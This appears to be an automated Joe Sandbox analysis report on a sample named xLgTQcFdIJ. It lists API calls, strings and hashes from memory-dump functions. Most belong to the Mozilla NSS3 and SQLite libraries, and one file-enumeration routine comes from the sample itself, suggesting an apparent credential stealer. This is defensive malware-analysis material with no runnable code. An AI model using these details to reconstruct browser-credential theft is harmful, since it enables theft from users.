Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: a9941b3a9de002aae45900a42e2b34a818da06a1a17d04fd9b1b06bf064ab6ba
Instruction ID: 6122147dad9df59a0b85c9651674f167a20209228502afcf4f01ca1d8a214f6d
Opcode Fuzzy Hash: a9941b3a9de002aae45900a42e2b34a818da06a1a17d04fd9b1b06bf064ab6ba
Instruction Fuzzy Hash: A202F3B5B083404BE7149F359E8972B36B6BBC620CF18493CD85A47F01EB75E85AC792

Function 6C797C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C797C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C797C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C797D1E

Part of subcall function 6C797870: SECOID_FindOID_Util.NSS3(?,?,?,6C7991C5), ref: 6C79788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C797D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C797D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C797DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C797DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C797DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C797E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C797E58

Part of subcall function 6C797870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7991C5), ref: 6C7978BB
Part of subcall function 6C797870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C7991C5), ref: 6C7978FA
Part of subcall function 6C797870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C7991C5), ref: 6C797930
Part of subcall function 6C797870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7991C5), ref: 6C797951
Part of subcall function 6C797870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C797964
Part of subcall function 6C797870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C79797A
Part of subcall function 6C797870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C797988
Part of subcall function 6C797870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C797998
Part of subcall function 6C797870: free.MOZGLUE(00000000), ref: 6C7979A7
Part of subcall function 6C797870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C7991C5), ref: 6C7979BB
Part of subcall function 6C797870: PR_GetCurrentThread.NSS3(?,?,?,?,6C7991C5), ref: 6C7979CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C797E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C797F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C797F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C797FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C797FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C798038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C798050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C798093
SECOID_FindOID_Util.NSS3 ref: 6C797F29

Part of subcall function 6C7907B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C738298,?,?,?,6C72FCE5,?), ref: 6C7907BF
Part of subcall function 6C7907B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7907E6
Part of subcall function 6C7907B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C79081B
Part of subcall function 6C7907B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C790825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C798072
SECOID_FindOID_Util.NSS3 ref: 6C7980F5

Part of subcall function 6C79BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C79800A,00000000,?,00000000,?), ref: 6C79BC3F

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 09184c94cc5b43814443717e531282b148567a7b4683057a3a81fe28878e6050
Instruction ID: 585da80f0f36b08d07615c437b17f0f3d8e6f97648c1d1b05444b98c2fcdc6db
Opcode Fuzzy Hash: 09184c94cc5b43814443717e531282b148567a7b4683057a3a81fe28878e6050
Instruction Fuzzy Hash: FEE1A1716093009FE710CF28EA88B5A77E5AF85318F14496DE98A9BB61E731EC05CB52

Function 004147C0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 004147D0
HeapAlloc.KERNEL32(00000000), ref: 004147D7
wsprintfA.USER32 ref: 004147F6
FindFirstFileA.KERNEL32(?,?), ref: 0041480D
StrCmpCA.SHLWAPI(?,00420FAC), ref: 0041483B
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414851
FindNextFileA.KERNEL32(000000FF,?), ref: 004148DB
FindClose.KERNEL32(000000FF), ref: 004148F0
lstrcatA.KERNEL32(?,02F6EBA8,?,00000104), ref: 00414915
lstrcatA.KERNEL32(?,02F75FA8), ref: 00414928
lstrlenA.KERNEL32(?), ref: 00414935
lstrlenA.KERNEL32(?), ref: 00414946

Strings

%s\*, xrefs: 004147EA
%s\%s, xrefs: 0041486B

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 13328894-2848263008
Opcode ID: 69dcb7b57205299e4e353f4ff5e3bd6fee26fba3a9fd294cee8ca8b6e7cecfcb
Instruction ID: 4add3c5e25650dce6a2d7e09fe25a02d5f48076a238705849ce39c3d90be09a7
Opcode Fuzzy Hash: 69dcb7b57205299e4e353f4ff5e3bd6fee26fba3a9fd294cee8ca8b6e7cecfcb
Instruction Fuzzy Hash: 145187B1944218ABCB20EB70DC89FEE737DAB58300F40459EB64996190EB74EBC4CF95

Function 6C721C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C721C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C721C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C721CA1
GetLengthSid.ADVAPI32(?), ref: 6C721CA9
malloc.MOZGLUE(00000000), ref: 6C721CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C721CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C721CE4
GetLengthSid.ADVAPI32(?), ref: 6C721CEC
malloc.MOZGLUE(00000000), ref: 6C721CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C721D0F
CloseHandle.KERNEL32(?), ref: 6C721D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C721D4D
GetLastError.KERNEL32 ref: 6C721D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C721D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C721D7A

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 3289326f1c6c3511a5177da27e8a8cd54fa05d08bb3f94a82a941ada30e2cecc
Instruction ID: 2af052db13fd54f99113bf7d8d75e6757642e06c4167df2c2843d1d765cd14f7
Opcode Fuzzy Hash: 3289326f1c6c3511a5177da27e8a8cd54fa05d08bb3f94a82a941ada30e2cecc
Instruction Fuzzy Hash: 313185F1A01218AFEF20AF68CD48BAA7BB8FF4A348F004175F50992611E7345D94CFA5

Function 6C723D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C723DFB
__allrem.LIBCMT ref: 6C723EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C723FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C724047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7240DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C72415F
__allrem.LIBCMT ref: 6C72416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C724288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7242AB
__allrem.LIBCMT ref: 6C7242B7

Strings

%02d, xrefs: 6C724086
%lld, xrefs: 6C723FB2
%04d, xrefs: 6C72407B
%03d, xrefs: 6C7242E8

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 6bc043aa798db9c2b6b81692c7c43fc03f6863543be2823fd1be456345cfd26c
Instruction ID: 107b4d3a2f7a19933280a72ebb8fb5a76fa7d3d9f5b3318fbb952904db79746d
Opcode Fuzzy Hash: 6bc043aa798db9c2b6b81692c7c43fc03f6863543be2823fd1be456345cfd26c
Instruction Fuzzy Hash: B8F14271A087409FD325CF38CA84B6BB7FAAF85348F148A2DE48597751EB38D485CB42

Function 6C6D1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6D1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6D1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C6D1FB7

Strings

sqlite_master, xrefs: 6C6D1C61
table, xrefs: 6C6D1C8B
no more rows available, xrefs: 6C6D2264
another row available, xrefs: 6C6D2287
unknown error, xrefs: 6C6D2291
unsupported file format, xrefs: 6C6D2188
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C6D1F83
abort due to ROLLBACK, xrefs: 6C6D2223
attached databases must use the same text encoding as main database, xrefs: 6C6D20CA
sqlite_temp_master, xrefs: 6C6D1C5C

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: ad14b9f78026bd4887769fe523bfad210e4eca27241ebe99c59d321c2cbf868f
Instruction ID: 341f95b6d2715ca8eae9c0422521db5644ffb8e4d94b6a52e9db0bc7a2664f0c
Opcode Fuzzy Hash: ad14b9f78026bd4887769fe523bfad210e4eca27241ebe99c59d321c2cbf868f
Instruction Fuzzy Hash: 361202706083018FD714CF19C484A5AB7F2BF89318F1A896DE9958BB12D771FC4ACB86

Function 6C7CDE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6C7A7FFA,00000000,?,6C7D23B9,00000002,00000000,?,6C7A7FFA,00000002), ref: 6C7CDE33

Part of subcall function 6C7F9090: TlsGetValue.KERNEL32 ref: 6C7F90AB
Part of subcall function 6C7F9090: TlsGetValue.KERNEL32 ref: 6C7F90C9
Part of subcall function 6C7F9090: EnterCriticalSection.KERNEL32 ref: 6C7F90E5
Part of subcall function 6C7F9090: TlsGetValue.KERNEL32 ref: 6C7F9116
Part of subcall function 6C7F9090: LeaveCriticalSection.KERNEL32 ref: 6C7F913F

Part of subcall function 6C7CD000: PORT_ZAlloc_Util.NSS3(00000108,?,6C7CDE74,6C7A7FFA,00000002,?,?,?,?,?,00000000,6C7A7FFA,00000000,?,6C7D23B9,00000002), ref: 6C7CD008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6C7A7FFA,00000000,?,6C7D23B9,00000002,00000000,?,6C7A7FFA,00000002), ref: 6C7CDE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6C7CDEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7CE069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7CE121
PK11_FreeSymKey.NSS3(?), ref: 6C7CE14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6C7CE195
PR_GetCurrentThread.NSS3 ref: 6C7CE1FC

Part of subcall function 6C7C2460: PR_SetError.NSS3(FFFFE005,00000000,6C867379,00000002,?), ref: 6C7C2493

Strings

early application data, xrefs: 6C7CDFC9
key, xrefs: 6C7CE046
handshake data, xrefs: 6C7CDFF7
application data, xrefs: 6C7CDFE0

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 3ece56f2ac1177a609362d2cf428edf8c3e1510403efa860808f7ec662686858
Instruction ID: 32f99cb153af5f696b6c54ec71fe6bf11b7082959daf1e6aa9a908a1fd4a20d1
Opcode Fuzzy Hash: 3ece56f2ac1177a609362d2cf428edf8c3e1510403efa860808f7ec662686858
Instruction Fuzzy Hash: F4C1F471B0060A9FDB14CF65CE85BAAB7B4FF09318F144138E9159BA51E331E954CBE2

Function 6C6BECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6BED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6BEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6BEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C6BEF98

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6BF483
%s at line %d of [%.10s], xrefs: 6C6BF492
database corruption, xrefs: 6C6BF48D

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 4fc147d2420f822f41acd02dd55201351a9e0db253809de8111a000349a556fb
Instruction ID: bf3b9f4fbe68d60126f634078ba6475ac817073ba6d8ce13f1bf5fcc5d3519a7
Opcode Fuzzy Hash: 4fc147d2420f822f41acd02dd55201351a9e0db253809de8111a000349a556fb
Instruction Fuzzy Hash: 5262233CA042458FDB14CF68C48079ABBF1BF45318F184198D9467BBA2D375E896CBDA

Function 6C75FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6C75FD06

Part of subcall function 6C75F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6C75F696
Part of subcall function 6C75F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6C75F789
Part of subcall function 6C75F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6C75F796
Part of subcall function 6C75F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6C75F79F
Part of subcall function 6C75F670: SECITEM_DupItem_Util.NSS3 ref: 6C75F7F0

Part of subcall function 6C783440: PK11_GetAllTokens.NSS3 ref: 6C783481
Part of subcall function 6C783440: PR_SetError.NSS3(00000000,00000000), ref: 6C7834A3
Part of subcall function 6C783440: TlsGetValue.KERNEL32 ref: 6C78352E
Part of subcall function 6C783440: EnterCriticalSection.KERNEL32(?), ref: 6C783542
Part of subcall function 6C783440: PR_Unlock.NSS3(?), ref: 6C78355B

SECITEM_DupItem_Util.NSS3(?), ref: 6C75FDAD

Part of subcall function 6C78FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C739003,?), ref: 6C78FD91
Part of subcall function 6C78FD80: PORT_Alloc_Util.NSS3(A4686C79,?), ref: 6C78FDA2
Part of subcall function 6C78FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C79,?,?), ref: 6C78FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C75FE00

Part of subcall function 6C78FD80: free.MOZGLUE(00000000,?,?), ref: 6C78FDD1

Part of subcall function 6C77E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C77E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C75FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6C75FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6C75FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C75FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C75FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6C75FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C75FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6C760007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C760029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C760044

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: 9b13efecebd2fffee65b671626d3fa0d10740bfa9d41d396fc3a9c0543d52586
Instruction ID: 49fea1954a9a163e76f96f0d0cb1873f426e029e3574f054fddf72f369ea0c1e
Opcode Fuzzy Hash: 9b13efecebd2fffee65b671626d3fa0d10740bfa9d41d396fc3a9c0543d52586
Instruction Fuzzy Hash: 18B1E471604301AFE704CF29C944A6BB7E5FF88308F558A2DF999C7A81EB31E954CB91

Function 6C757D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C757DDC

Part of subcall function 6C7907B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C738298,?,?,?,6C72FCE5,?), ref: 6C7907BF
Part of subcall function 6C7907B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7907E6
Part of subcall function 6C7907B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C79081B
Part of subcall function 6C7907B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C790825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C757DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C757F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C757F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C757F98
PK11_FreeSymKey.NSS3(?), ref: 6C757FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C757FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C758000

Part of subcall function 6C779430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C757F0C,?,00000000,00000000,00000000,?), ref: 6C77943B
Part of subcall function 6C779430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C77946B
Part of subcall function 6C779430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C779546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C758110
PK11_FreeSymKey.NSS3(00000000), ref: 6C75811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C75822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C75823C

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: 46710f40aed48c372954bcfaa568da5af59712b0144ca9280ac8576c51c09188
Instruction ID: 90c8b590a77e3fd7d74089e768a19187b54ffd91499725f725cce41d3263c074
Opcode Fuzzy Hash: 46710f40aed48c372954bcfaa568da5af59712b0144ca9280ac8576c51c09188
Instruction Fuzzy Hash: 36C18DB1D5021D9FEB21CF14CD44FEAB7B8AB05348F4081E9E80DA6641EB319E95CFA1

